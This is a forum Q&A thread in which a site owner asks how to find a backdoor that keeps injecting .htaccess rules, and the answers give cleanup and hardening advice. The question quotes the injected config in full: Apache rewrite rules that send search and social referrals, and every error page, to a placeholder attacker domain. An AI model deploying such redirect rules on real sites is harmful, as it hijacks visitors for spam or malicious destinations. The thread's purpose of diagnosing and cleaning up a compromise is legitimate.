Hacked .htaccess - Inconsistent Results

Question

At present a large number of .htaccess files are being created in various website folders throughout the site. Current .htaccess files are also being modified to include the following (cleaned up) data to the file:

<IfModule mod_rewrite.c>
RewriteEngine On

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)

RewriteRule ^(.*)$ http://hacked-address.com [R=301,L]

RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)

RewriteRule ^(.*)$ http://hacked-address.com [R=301,L]
</IfModule>

ErrorDocument 400 http://hacked-address.com
ErrorDocument 401 http://hacked-address.com
ErrorDocument 403 http://hacked-address.com
ErrorDocument 404 http://hacked-address.com
ErrorDocument 500 http://hacked-address.com

I have removed access to the files several times, however there appears to be a back door elsewhere that I have been unable to locate. I have checked the cron jobs with nothing added there.

What is the best method of identifying the backdoor and removing it?

Answer 1

90% probability that a hacker may have uploaded a SHELL script on your webserver.

To quickly fix it, Just copy all files from your webserver to your local and do an ANTI-VIRUS scan on that folder.

I am telling you to do an AV Scan because , nowadays all AV tools detect backdoor scripts.

Answer 2

I assume that you've done the basics and changed the passwords and keys for all of your non-http/https access mechanisms: ftp, ssh, myphpadmin, any .htpasswd contents, ...

As I mentioned in my Q, are you on a shared service, because if so then you also need to do a complete review of your directory structures and file ownership. Directories need to have o:x access so that Apache can path through them to file and directory content. Files that are served by Apache (any static files such as GIFs, HTML, ...) also need o:r.

None of your directories should be writeable or readable by anything other user. No files should be writeable by anything other than user.

There many ways to subvert a script. For example, most shared services use suPHP and some use FastCGI to implement user-based script execution. So any script that is started up by suPHP must be in the owners UID and will execute in the owners UID. However, most scripts -- especially for complex packages such as Wordpress, phpBB or MediaWiki -- include many script files and extensions -- more that the average service admin will actively track. If one of these has been compromised then any application that uses them will be executing foreign code under the users UID and can be turned into an exploit. All is takes is a symlink out of your directory hierarchy or even just pulling code over http and executing it dynamically.

Have you tried to correlate modified DTS with your access logs to see if any particular URIs match?

I am minded of an old adage we used to use a decade ago: the only way to clean a virus-infected PC is to rebuild it from scratch. OK, modern AV technology has gone a long way, but there is a lot to be said for that approach if you only have a few apps: do a clean reinstall. However, many sites don't have a coherent configuration management and DR policy in place so this might not be easily doable for some.

There is no simple answer to this one.